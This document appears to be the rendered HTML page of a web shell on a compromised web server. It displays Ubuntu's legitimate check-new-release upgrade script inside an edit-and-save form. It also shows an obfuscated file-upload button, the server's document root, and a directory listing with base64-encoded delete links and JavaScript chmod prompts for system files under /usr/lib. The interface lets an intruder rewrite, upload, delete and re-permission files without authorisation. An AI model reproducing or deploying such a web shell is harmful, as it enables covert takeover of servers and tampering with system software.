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<hr>check-new-release<form method=post action="?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI%3D&f=Y2hlY2stbmV3LXJlbGVhc2U%3D"><input name="f" value="check-new-release"><textarea name="t">#!/usr/bin/python3

from __future__ import print_function

import warnings
warnings.filterwarnings(&quot;ignore&quot;, &quot;apt API not stable yet&quot;, FutureWarning)

from DistUpgrade.DistUpgradeVersion import VERSION
from DistUpgrade.DistUpgradeGettext import gettext as _

from UpdateManager.Core.MetaRelease import MetaReleaseCore
from optparse import OptionParser
import locale
import gettext

import apt
import os
import subprocess
import sys
import time
from UpdateManager.Core.utils import init_proxy, get_arch

RELEASE_AVAILABLE=0
NO_RELEASE_AVAILABLE=1


def get_fetcher(frontend, new_dist, datadir):
    if frontend == &quot;DistUpgradeViewGtk3&quot;:
        from DistUpgrade.DistUpgradeFetcher import DistUpgradeFetcherGtk
        from DistUpgrade.GtkProgress import GtkAcquireProgress
        progress = GtkAcquireProgress(
            None,
            datadir,
            _(&quot;Downloading the release upgrade tool&quot;))
        return DistUpgradeFetcherGtk(new_dist=new_dist,
                                     progress=progress,
                                     parent=None,
                                     datadir=datadir)
    elif frontend == &quot;DistUpgradeViewKDE&quot;:
        print(&quot;kde&quot;)
        from DistUpgrade.DistUpgradeFetcherKDE import DistUpgradeFetcherKDE
        from DistUpgrade.DistUpgradeFetcherKDE import KDEAcquireProgressAdapter
        progress = KDEAcquireProgressAdapter(
            parent=None,
            datadir=datadir,
            label=_(&quot;Downloading the release upgrade tool&quot;))
        return DistUpgradeFetcherKDE(new_dist=new_dist,
                                     progress=progress,
                                     parent=None,
                                     datadir=datadir)
    else:
        from DistUpgrade.DistUpgradeFetcherCore import DistUpgradeFetcherCore
        import apt
        progress = apt.progress.text.AcquireProgress()
        return DistUpgradeFetcherCore(new_dist, progress)


if __name__ == &quot;__main__&quot;:

  #FIXME: Workaround a bug in optparser which doesn't handle unicode/str
  #       correctly, see http://bugs.python.org/issue4391
  #       Should be resolved by Python3
  gettext.bindtextdomain(&quot;ubuntu-release-upgrader&quot;, &quot;/usr/share/locale&quot;)
  gettext.textdomain(&quot;ubuntu-release-upgrader&quot;)
  translation = gettext.translation(&quot;ubuntu-release-upgrader&quot;, fallback=True)

  try:
    locale.setlocale(locale.LC_ALL, &quot;&quot;)
  except:
    pass

  init_proxy()

  # when run as &quot;check-new-release&quot; we go into &quot;check only&quot; mode
  check_only = sys.argv[0].endswith(&quot;check-new-release&quot;)

  parser = OptionParser()
  parser.add_option (&quot;-V&quot;, &quot;--version&quot;, action=&quot;store_true&quot;,
                     dest=&quot;show_version&quot;, default=False,
                     help=_(&quot;Show version and exit&quot;))
  parser.add_option (&quot;-d&quot;, &quot;--devel-release&quot;, action=&quot;store_true&quot;,
                     dest=&quot;devel_release&quot;, default=False,
                     help=_(&quot;If using the latest supported release, &quot;
                            &quot;upgrade to the development release&quot;))
  parser.add_option (&quot;--data-dir&quot;, &quot;&quot;,
                     default=&quot;/usr/share/ubuntu-release-upgrader/&quot;,
                     help=_(&quot;Directory that contains the data files&quot;))
  parser.add_option (&quot;-p&quot;, &quot;--proposed&quot;, action=&quot;store_true&quot;,
                     dest=&quot;proposed_release&quot;, default=False,
                     help=_(&quot;Try upgrading to the latest release using &quot;
                            &quot;the upgrader from $distro-proposed&quot;))
  parser.add_option (&quot;-m&quot;, &quot;--mode&quot;, default=&quot;server&quot;,
                     dest=&quot;mode&quot;, 
                     help=_(&quot;Run in a special upgrade mode.\n&quot;
                            &quot;Currently 'desktop' for regular upgrades of &quot;
                            &quot;a desktop system and 'server' for server &quot;
                            &quot;systems are supported.&quot;))
  parser.add_option (&quot;-f&quot;, &quot;--frontend&quot;, default=&quot;DistUpgradeViewText&quot;,
                     dest=&quot;frontend&quot;, 
                     help=_(&quot;Run the specified frontend&quot;))
  parser.add_option (&quot;-c&quot;, &quot;--check-dist-upgrade-only&quot;, action=&quot;store_true&quot;,
                     default=check_only,
                     help=_(&quot;Check only if a new distribution release is &quot;
                            &quot;available and report the result via the &quot;
                            &quot;exit code&quot;))
  parser.add_option (&quot;--allow-third-party&quot;, default=False,
                     action=&quot;store_true&quot;, dest=&quot;allow_third_party&quot;,
                     help=_(&quot;Try the upgrade with third party &quot;
                            &quot;mirrors and repositories enabled &quot;
                            &quot;instead of commenting them out.&quot;))
  parser.add_option (&quot;-q&quot;, &quot;--quiet&quot;, default=False, action=&quot;store_true&quot;,
                     dest=&quot;quiet&quot;)
  parser.add_option (&quot;-e&quot;, &quot;--env&quot;,
                     help=_(&quot;A comma-separated list of environment variables &quot;
                            &quot;(e.g. VAR1=VALUE1,VAR2=VALUE2) that should be set &quot;
                            &quot;during the upgrade.&quot;))

  (options, args) = parser.parse_args()


  if options.show_version:
    print(&quot;%s: version %s&quot; % (os.path.basename(sys.argv[0]), VERSION))
    sys.exit(0)

  if options.devel_release and options.proposed_release:
    print(_(&quot;The options --devel-release and --proposed are&quot;))
    print(_(&quot;mutually exclusive. Please use only one of them.&quot;))
    sys.exit(1)

  if not options.quiet:
    print(_(&quot;Checking for a new Ubuntu release&quot;))

  m = MetaReleaseCore(useDevelopmentRelease=options.devel_release,
                      useProposed=options.proposed_release)
  # this will timeout eventually
  m.downloaded.wait()

  # make sure to inform the user if his distro is no longer supported
  # this will make it appear in motd (that calls do-release-upgrade in
  #  check-new-release mode)
  if m.no_longer_supported is not None:
    url = &quot;http://www.ubuntu.com/releaseendoflife&quot;
    print(_(&quot;Your Ubuntu release is not supported anymore.&quot;))
    print(_(&quot;For upgrade information, please visit:\n&quot;
            &quot;%(url)s\n&quot;) % { 'url' : url })

  # LP: #1901725 useful in case we drop an arch in the future
  # if get_arch() == &quot;i386&quot;:
  #   if not options.quiet:
  #     print(_(&quot;There will not be any further Ubuntu releases &quot;))
  #     print(_(&quot;for this system's 'i386' architecture. Updates for &quot;))
  #     print(_(&quot;Ubuntu 18.04 LTS will continue until April 2023.&quot;))
  #   sys.exit(NO_RELEASE_AVAILABLE)

  # now inform about a new release
  if m.new_dist is None:
    if not options.quiet:
      if m.prompt == 'never':
        print(_(&quot;In /etc/update-manager/release-upgrades Prompt &quot;))
        print(_(&quot;is set to never so upgrading is not possible.&quot;))
      elif m.prompt == 'lts':
        print(_(&quot;There is no development version of an LTS available.&quot;))
        print(_(&quot;To upgrade to the latest non-LTS development release &quot;))
        print(_(&quot;set Prompt=normal in /etc/update-manager/release-upgrades.&quot;))
      elif options.devel_release:
        print(_(&quot;Upgrades to the development release are only &quot;))
        print(_(&quot;available from the latest supported release.&quot;))
      else:
        print(_(&quot;No new release found.&quot;))
    sys.exit(NO_RELEASE_AVAILABLE)

  if m.new_dist.upgrade_broken:
    if not options.quiet:
      print(_(&quot;Release upgrade not possible right now&quot;))
      print(_(&quot;The release upgrade can not be performed currently, &quot;
              &quot;please try again later. The server reported: '%s'&quot;) % m.new_dist.upgrade_broken)
    sys.exit(NO_RELEASE_AVAILABLE)

  # we have a new dist
  if options.check_dist_upgrade_only:
    print(_(&quot;New release '%s' available.&quot;) % m.new_dist.version)
    print(_(&quot;Run 'do-release-upgrade' to upgrade to it.&quot;))
    sys.exit(RELEASE_AVAILABLE)

  cache = apt.Cache()
  cache.open()
  install_count = 0
  upgradable = [pkg for pkg in cache if pkg.is_upgradable]
  for pkg in upgradable:
    if 'Phased-Update-Percentage' in pkg.candidate.record:
      # P-U-P does not exist if it is fully phased
      continue
    else:
      install_count += 1
      # one upgradeable package is enough to stop the dist-upgrade
      break
  if install_count &gt; 0:
    if not options.quiet:
      print(_(&quot;Please install all available updates &quot;
              &quot;for your release before upgrading.&quot;))
    sys.exit(1)
  if os.path.exists('/var/run/reboot-required.pkgs'):
    reboot = False
    with open('/var/run/reboot-required.pkgs', 'rb') as f:
        for line in f:
            # In certain cases, we need to reboot the system before proceeding
            # with the dist upgrade after the kernel is upgraded as otherwise
            # building of some dkms modules can fail.
            if (line == b'libc6\n' or line == b'linux-base\n' or
                    line.startswith(b'linux-image-')):
                reboot = True
                break
    if reboot:
      if not options.quiet:
        print(_(&quot;You have not rebooted after updating a package which &quot;
                &quot;requires a reboot. Please reboot before upgrading.&quot;))
      sys.exit(1)

  if options.allow_third_party:
    # the env variable is used by code in the dist-upgrader tarball
    os.environ[&quot;RELEASE_UPGRADER_ALLOW_THIRD_PARTY&quot;] = &quot;True&quot;

  if options.env:
      for env in options.env.split(','):
          parts = env.split('=')
          if len(parts) &lt; 2:
              continue

          # The value itself may contain '='.
          os.environ[parts[0]] = '='.join(parts[1:])

  # GTK 3 fetcher starts setting up the the GUI and KDE GUI needs to start GUI
  # later, too.
  if (options.frontend in {&quot;DistUpgradeViewGtk3&quot;, &quot;DistUpgradeViewKDE&quot;} and
      os.getuid() != 0):
    if 'WAYLAND_DISPLAY' in os.environ:
        subprocess.run(['xhost', '+si:localuser:root'])
    # this is needed because pkexec doesn't pass on the env
    if 'RELEASE_UPGRADER_ALLOW_THIRD_PARTY' in os.environ:
        sys.argv.append('--allow-third-party')

    # Some extra environment variables need to be passed, but we need
    # to do this explicitly with do-release-upgrade because pkexec
    # does not provide such functionality.
    extra_env_vars = [
        'DBUS_SESSION_BUS_ADDRESS=%s' % os.getenv('DBUS_SESSION_BUS_ADDRESS', ''),
        'XDG_SESSION_TYPE=%s' % os.getenv('XDG_SESSION_TYPE', ''),
        'XDG_CURRENT_DESKTOP=%s' % os.getenv('XDG_CURRENT_DESKTOP', ''),
    ]
    sys.argv.append('--env=%s' % ','.join(extra_env_vars))

    os.execv(&quot;/usr/bin/pkexec&quot;, [&quot;pkexec&quot;] + sys.argv)

  fetcher = get_fetcher(options.frontend, m.new_dist, options.data_dir)
  fetcher.run_options += [&quot;--mode=%s&quot; % options.mode,
                          &quot;--frontend=%s&quot; % options.frontend,
                          ]
  if options.devel_release:
    fetcher.run_options.append(&quot;--devel-release&quot;)
  fetcher.run()
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/ubuntu-release-upgrader<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWI="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&x=Y2hlY2stbmV3LXJlbGVhc2U=">X</a></td><td><a href="?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&f=Y2hlY2stbmV3LXJlbGVhc2U="/>check-new-release</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&f=Y2hlY2stbmV3LXJlbGVhc2U=&c=`+btoa(c):0" value="0755"></td><td>10675</td></tr><tr><td><a href="?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&x=ZG8tcGFydGlhbC11cGdyYWRl">X</a></td><td><a href="?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&f=ZG8tcGFydGlhbC11cGdyYWRl"/>do-partial-upgrade</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&f=ZG8tcGFydGlhbC11cGdyYWRl&c=`+btoa(c):0" value="0755"></td><td>4279</td></tr><tr><td><a href="?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&x=cmVsZWFzZS11cGdyYWRlLW1vdGQ=">X</a></td><td><a href="?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&f=cmVsZWFzZS11cGdyYWRlLW1vdGQ="/>release-upgrade-motd</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvdWJ1bnR1LXJlbGVhc2UtdXBncmFkZXI=&f=cmVsZWFzZS11cGdyYWRlLW1vdGQ=&c=`+btoa(c):0" value="0755"></td><td>1519</td></tr></table>